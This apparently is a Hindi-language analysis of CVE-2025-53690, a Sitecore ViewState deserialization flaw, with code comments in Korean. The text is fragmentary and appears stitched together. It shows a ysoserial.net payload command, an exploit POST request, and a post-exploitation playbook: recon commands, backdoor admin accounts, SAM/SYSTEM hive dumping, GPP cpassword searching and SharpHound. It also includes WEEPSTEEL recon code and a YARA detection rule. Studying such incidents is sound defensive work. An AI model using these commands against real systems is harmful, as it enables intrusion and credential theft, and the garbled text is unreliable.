
यह CVE-2025-53690 विश्लेषण दस्तावेज़ हैं।
CVE-2025-53690, Sitecore उत्पाद परिवार में पाई गई एक ViewState डिसीरियलाइज़ेशन भेद्यता है, जो उजागर ASP.NET machine key का दुरुपयोग करके रिमोट कोड निष्पादन संभव बनाने वाली एक गंभीर सुरक्षा भेद्यता है।
इस भेद्यता का मूल गलत कॉन्फ़िगरेशन प्रबंधन में निहित है:
ViewState ASP.NET की एक स्थिति प्रबंधन सुविधा है:
__VIEWSTATE छिपे हुए फ़ील्ड में संग्रहीत करता है<!-- web.config 예시 -->
<system.web>
<machineKey
validationKey="[64바이트 키]"
decryptionKey="[48바이트 키]"
validation="HMACSHA256"
decryption="AES" />
</system.web>
Target: /sitecore/blocked.aspx
Method: POST
특징: 인증 없이 접근 가능, ViewState 사용
हमलावर ज्ञात machine key और ysoserial.net का उपयोग करके दुर्भावनापूर्ण पेलोड बनाता है:
# ysoserial.net 사용 예시
ysoserial.exe -f ViewState -g TypeConfuseDelegate -c "calc.exe" --validationkey="[키]" --validationalg="HMACSHA256" --decryptionkey="[키]" --decryptionalg="AES"
POST /sitecore/blocked.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=[악성_페이로드]&__VIEWSTATEGENERATOR=[값]
/sitecore/blocked.aspx# 실행된 명령들
whoami
hostname
net user
tasklist
ipconfig /all
netstat -ano
net group "domain admins"
परिनियोजित उपकरण:
7za.exe: फ़ाइल संपीड़न उपकरणlfe.ico: EARTHWORM नेटवर्क टनलिंग उपकरण1.vbs: कमांड निष्पादन के लिए VBScript# 로컬 관리자 계정 생성
net user asp$ [패스워드] /add
net localgroup administrators asp$ /add
net user sawadmin [패스워드] /add
net localgroup administrators sawadmin /add
क्रेडेंशियल संग्रहण:
reg save HKLM\SYSTEM c:\users\public\system.hive
reg save HKLM\SAM c:\users\public\sam.hive
net user [AdminUser] /passwordchg:no /expires:never
wmic useraccount where name='[AdminUser]' set PasswordExpires=False
# Domain Controller 식별
nltest /DCLIST:[domain]
nslookup [domain-controller]
# GPO에서 cpassword 검색 (Group Policy Preferences 공격)
findstr /S /l cpassword \\[DC]\sysvol\[domain]\policies\*.xml
# BloodHound/SharpHound 실행
sh.exe -c all
// 수집하는 정보
Information.BasicsInfo basicsInfo = new Information.BasicsInfo
{
Directories = new Information.Directories
{
CurrentWebDirectory = HostingEnvironment.MapPath("~/")
},
OperatingSystemInformation = Information.GetOperatingSystemInformation(),
DiskInformation = Information.GetDiskInformation(),
NetworkAdapterInformation = Information.GetNetworkAdapterInformation(),
Process = Information.GetProcessInformation()
};
आउटपुट विधि: ViewState के रूप में प्रच्छन्न करके डेटा छिपाना
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
value="/wEPDwUKLTcyODc4{AES 암호화 + base64 인코딩된 출력}" />
<!-- 고유한 machine key 생성 -->
<machineKey
validationKey="[새로운_64바이트_키]"
decryptionKey="[새로운_48바이트_키]"
validation="HMACSHA256"
decryption="AES" />
# YARA 규칙 예시 (WEEPSTEEL 탐지)
rule WEEPSTEEL_Detection {
strings:
$viewstate = "__VIEWSTATE"
$crypto = "System.Security.Cryptography"
$serializer = "JavaScriptSerializer"
condition:
all of them
}
CVE-2025-53690 इस बात का एक प्रतिनिधि उदाहरण है कि कैसे एक साधारण कॉन्फ़िगरेशन गलती एक गंभीर सुरक्षा खतरे में बदल सकती है। इस भेद्यता के माध्यम से, सीखने वाले वास्तविक APT हमले के पूरे जीवनचक्र का अनुभव कर सकते हैं और आधुनिक हमले की तकनीकों तथा रक्षा रणनीतियों को समझ सकते हैं।